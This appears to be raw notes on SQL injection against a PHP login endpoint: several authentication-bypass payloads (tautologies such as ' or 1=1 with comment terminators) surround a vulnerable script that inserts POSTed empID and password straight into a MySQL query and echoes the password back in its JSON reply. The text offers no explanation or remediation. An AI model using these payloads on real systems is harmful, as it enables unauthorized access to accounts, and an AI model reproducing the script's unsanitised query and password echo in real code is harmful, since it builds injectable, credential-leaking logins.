Username : ' or ''='
Password : ' or ''='

Username : ' or 1--
Password :

<?php
require_once('conn.php');

$empID      = $_POST['empID'];
$password   = $_POST['password'];
$qry = mysql_query("SELECT * FROM `sf_ohem_login` WHERE  empID='$empID' && password='$password'") ;
$num = mysql_num_rows($qry);
if($num==0)
{
    $data["login"]="false";
    $data["empID"]= $empID;
    $data["msg"]="Login failed due to wrong credentials";
}
else
{
        $data["login"]="true";
        $data["empID"]= $empID;
        $data["password"]= $password;
}
echo json_encode($data);

1' or 1=1 --+

empID='1' or 1=1 --+

empID= coo'or'1'='1
 password= coo'or'1'='1